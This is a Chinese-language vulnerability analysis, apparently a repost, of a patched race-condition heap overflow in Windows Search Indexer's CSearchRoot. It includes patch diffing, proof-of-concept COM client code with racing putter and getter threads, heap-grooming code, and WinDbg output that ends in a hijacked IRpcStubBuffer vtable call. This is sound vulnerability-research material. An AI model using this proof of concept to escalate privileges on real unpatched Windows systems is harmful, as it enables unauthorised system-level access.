您好,登錄后才能下訂單哦!
這期內容當中小編將會給大家帶來有關Windows Search Indexer 本地提權的示例分析,文章內容豐富且以專業的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。
Windows Search Indexer 介紹
Windows Search Indexer是一項Windows服務,用于為Windows Search處理文件索引,這為Windows內置的文件搜索引擎提供了動力,該引擎為從“開始”菜單搜索框到Windows資源管理器甚至是“庫”函數的所有函數提供支持。
Search Indexer有助于從GUI的角度通過GUI和索引選項將用戶定向到服務界面,如下所示。
索引過程中的所有數據庫和臨時數據都存儲為文件并進行管理。通常,在Windows Service中,整個過程都是使用NT AUTHORITY SYSTEM特權執行的。如果由于修改文件路徑而碰巧存在邏輯漏洞,則可能會觸發特權提升。(例如Symlink攻擊)
鑒于最近在Windows Service中發生的大多數漏洞都是由于邏輯漏洞而導致的LPE漏洞,因此我們假定Search Indexer可能有類似的漏洞,但是,我們的分析結果并非如此,隨后將介紹更多詳細信息。
補丁對比
分析環境是Windows7 x86,因為它具有較小的更新文件,并且易于識別差異,我們下載了該模塊的兩個補丁版本。
可以從Microsoft更新目錄下載它們:
patch程序版本(1月程序):KB4534314 2
補丁程序版本(2月補丁):KB4537813 3
我們從patch過的二進制文件的BinDiff開始(在這種情況下,只有一個:searchindexer.exe)
大多數補丁都是在CSearchCrawlScopeManager和CSearchRoot類中完成的。前者在1月進行了patch,而后者在下個月進行了patch。這兩個類都包含相同的更改,因此我們專注于patch的CSearchRoot。
下圖顯示添加了原始代碼,該代碼使用Lock來安全地訪問共享資源。我們推斷,訪問共享資源會導致競爭條件漏洞的發生,因為該補丁由putter, getter函數組成。
界面互動
我們參考了MSDN,了解如何使用這些類,并發現它們都與“爬網管理器”相關的,我們可以檢查此類的方法信息。
MSDN說4:
爬網范圍管理器(CSM)是一組API,可添加,刪除和枚舉Windows搜索索引器的搜索root和范圍規則。當希望索引器開始對新容器進行爬網時,可以使用CSM設置搜索root目錄,并為搜索root目錄內的路徑設置作用域規則。
CSM界面如下:
IEnumSearchRoots
IEnumSearchScopeRules
ISearchCrawlScopeManager
ISearchCrawlScopeManager2
ISearchRoot
ISearchScopeRule
ISearchItem
例如,添加,刪除和枚舉搜索root和范圍規則可以通過以下方式編寫:
ISearchCrawlScopeManager告知搜索引擎要爬網和/或監視的容器,以及要包含或排除的容器下的項目。若要添加新的搜索,需要實例化ISearchRoot對象,設置root屬性,然后調用ISearchCrawlScopeManager :: AddRoot并將其傳遞給ISearchRoot對象的指針。
// Add RootInfo & Scope Rule pISearchRoot->put_RootURL(L"file:///C:\ "); pSearchCrawlScopeManager->AddRoot(pISearchRoot); pSearchCrawlScopeManager->AddDefaultScopeRule(L"file:///C:\Windows", fInclude, FF_INDEXCOMPLEXURLS); // Set Registry key pSearchCrawlScopeManager->SaveAll();
當我們不再希望對該URL編制索引時,我們還可以使用ISearchCrawlScopeManager從爬網范圍中刪除root。刪除root還會刪除該URL的所有范圍規則。我們可以卸載應用程序,刪除所有數據,然后從爬網范圍中刪除搜索root,并且“爬網范圍管理器”將刪除root以及與該root相關聯的所有范圍規則。
// Remove RootInfo & Scope Rule ISearchCrawlScopeManager->RemoveRoot(pszURL); // Set Registry key ISearchCrawlScopeManager->SaveAll();
CSM使用IEnumSearchRoots枚舉搜索root。出于多種目的,我們可以使用此類枚舉搜索root;例如,我們可能想要在用戶界面中顯示整個爬網范圍,或者發現爬網范圍中是否已經有特定的root目錄或root目錄的子級。
// Display RootInfo PWSTR pszUrl = NULL; pSearchRoot->get_RootURL(&pszUrl); wcout << L"\t" << pszUrl; // Display Scope Rule IEnumSearchScopeRules *pScopeRules; pSearchCrawlScopeManager->EnumerateScopeRules(&pScopeRules); ISearchScopeRule *pSearchScopeRule; pScopeRules->Next(1, &pSearchScopeRule, NULL)) pSearchScopeRule->get_PatternOrURL(&pszUrl); wcout << L"\t" << pszUrl;
我們認為在處理URL的過程中會出現漏洞,因此,我們開始分析根本原因。
漏洞分析
我們針對以下函數進行了二進制分析:
ISearchRoot :: put_RootURL
ISearchRoot :: get_RootURL
在分析ISearchRoot :: put_RootURL和ISearchRoot :: get_RootURL時,我們發現引用了對象的共享變量(CSearchRoot + 0x14)。
put_RootURL函數將用戶控制的數據寫入CSearchRoot + 0x14的內存中。get_RootURL函數讀取位于CSearchRoot + 0x14內存中的數據,該漏洞似乎是由與補丁程序有關的共享變量引起的。
因此,我們終于到了漏洞開始的地方,該漏洞在發生以下情況時可能會觸發:
1. 首次提取:用作內存分配大小(第9行)
2. 第二次獲取:用作內存副本大小(第13行)
如果第一個和第二個的大小不同,則可能會發生堆溢出,尤其是在第二個提取的大小較大時。我們認為,在發生內存復制之前,我們通過競爭條件充分更改了pszURL的大小。
崩潰現場
通過OleView 5,我們可以看到Windows Search Manager提供的界面,而且我們需要跟據接口的方法來攻擊漏洞函數。
我們可以通過MSDN 6提供的基于COM的命令行源代碼輕松地對其進行測試,并編寫了攻擊存在漏洞的函數的COM客戶端代碼,如下所示:
int wmain(int argc, wchar_t *argv[]) { // Initialize COM library CoInitializeEx(NULL, COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE); // Class instantiate ISearchRoot *pISearchRoot; CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_ALL, IID_PPV_ARGS(&pISearchRoot)); // Vulnerable functions hit pISearchRoot->put_RootURL(L"Shared RootURL"); PWSTR pszUrl = NULL; HRESULT hr = pSearchRoot->get_RootURL(&pszUrl); wcout << L"\t" << pszUrl; CoTaskMemFree(pszUrl); // Free COM resource, End pISearchRoot->Release(); CoUninitialize(); }
漏洞觸發非常簡單。我們創建了兩個線程:一個線程將不同長度的數據寫入共享緩沖區,另一個線程同時從共享緩沖區讀取數據。
DWORD __stdcall thread_putter(LPVOID param) { ISearchManager *pSearchManager = (ISearchManager*)param; while (1) { pSearchManager->put_RootURL(L"AA"); pSearchManager->put_RootURL(L"AAAAAAAAAA"); } return 0; } DWORD __stdcall thread_getter(LPVOID param) { ISearchRoot *pISearchRoot = (ISearchRoot*)param; PWSTR get_pszUrl; while (1) { pISearchRoot->get_RootURL(&get_pszUrl); } return 0; }
崩潰了!
毫無疑問,在StringCchCopyW函數復制RootURL數據之前,競爭條件已經成功,從而導致堆溢出。
劫持EIP
為了控制EIP,我們應該為發生漏洞的Sever堆創建一個對象。
我們編寫了如下的客戶端代碼,以跟蹤堆狀態。
int wmain(int argc, wchar_t *argv[]) { CoInitializeEx(NULL, COINIT_MULTITHREADED | COINIT_DISABLE_OLE1DDE); ISearchRoot *pISearchRoot[20]; for (int i = 0; i < 20; i++) { CoCreateInstance(CLSID_CSearchRoot, NULL, CLSCTX_LOCAL_SERVER, IID_PPV_ARGS(&pISearchRoot[i])); } pISearchRoot[3]->Release(); pISearchRoot[5]->Release(); pISearchRoot[7]->Release(); pISearchRoot[9]->Release(); pISearchRoot[11]->Release(); CreateThread(NULL, 0, thread_putter, (LPVOID)pISearchRoot[13], 0, NULL); CreateThread(NULL, 0, thread_getter, (LPVOID)pISearchRoot[13], 0, NULL); Sleep(500); CoUninitialize(); return 0; }
我們發現,如果客戶端不釋放pISearchRoot對象,則IRpcStubBuffer對象將保留在服務器堆上。而且我們還看到IRpcStubBuffer對象保持在發生漏洞的堆的位置附近。
0:010> !heap -p -all ... 03d58f10 0005 0005 [00] 03d58f18 0001a - (busy) <-- CoTaskMalloc return mssprxy!_idxpi_IID_Lookup (mssprxy+0x75) 03d58f38 0005 0005 [00] 03d58f40 00020 - (free) 03d58f60 0005 0005 [00] 03d58f68 0001c - (busy) <-- IRpcStubBuffer Obj ? mssprxy!_ISearchRootStubVtbl+10 03d58f88 0005 0005 [00] 03d58f90 0001c - (busy) ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj 03d58fb0 0005 0005 [00] 03d58fb8 00020 - (busy) 03d58fd8 0005 0005 [00] 03d58fe0 0001c - (busy) ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj 03d59000 0005 0005 [00] 03d59008 0001c - (busy) ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj 03d59028 0005 0005 [00] 03d59030 00020 - (busy) 03d59050 0005 0005 [00] 03d59058 00020 - (busy) 03d59078 0005 0005 [00] 03d59080 00020 - (free) 03d590a0 0005 0005 [00] 03d590a8 00020 - (free) 03d590c8 0005 0005 [00] 03d590d0 0001c - (busy) ? mssprxy!_ISearchRootStubVtbl+10 <-- IRpcStubBuffer Obj
在COM中,所有接口都有自己的接口存根空間。存根是用于在RPC通信期間支持遠程方法調用的較小內存空間,IRpcStubBuffer是此類接口存root的主要接口。在此過程中,支持pISearchRoot的接口存root的IRpcStubBuffer仍保留在服務器的堆上。
IRpcStubBuffer的vtfunction如下:
0:003> dds poi(03d58f18) l10 71215bc8 7121707e mssprxy!CStdStubBuffer_QueryInterface 71215bcc 71217073 mssprxy!CStdStubBuffer_AddRef 71215bd0 71216840 mssprxy!CStdStubBuffer_Release 71215bd4 71217926 mssprxy!CStdStubBuffer_Connect 71215bd8 71216866 mssprxy!CStdStubBuffer_Disconnect <-- client call : CoUninitialize(); 71215bdc 7121687c mssprxy!CStdStubBuffer_Invoke 71215be0 7121791b mssprxy!CStdStubBuffer_IsIIDSupported 71215be4 71217910 mssprxy!CStdStubBuffer_CountRefs 71215be8 71217905 mssprxy!CStdStubBuffer_DebugServerQueryInterface 71215bec 712178fa mssprxy!CStdStubBuffer_DebugServerRelease
當客戶端的COM未初始化時,IRpcStubBuffer :: Disconnect斷開對象指針的所有連接。因此,如果客戶端調用CoUninitialize函數,則會在服務器上調用CStdStubBuffer_Disconnect函數。這意味著用戶可以構造偽造的vtable并調用該函數。
但是,我們并不總是看到IRpcStubBuffer分配在同一位置堆上。因此,需要多次嘗試來構造堆布局,經過幾次嘗試后,IRpcStubBuffer對象被如下可控值(0x45454545)覆蓋。
最后,我們可以證明可以間接調用內存中的函數!
分析結論
Windows Service中最近發生的大多數LPE漏洞都是邏輯漏洞。通過這種方式,對Windows Search Indexer的內存損壞漏洞進行分析非常有趣。因此,此后的Windows Service中很可能會出現這種內存損壞漏洞。
我們希望該分析將對其他漏洞研究人員有所幫助,并可以用于進一步的研究。
上述就是小編為大家分享的Windows Search Indexer 本地提權的示例分析了,如果剛好有類似的疑惑,不妨參照上述分析進行理解。如果想知道更多相關知識,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。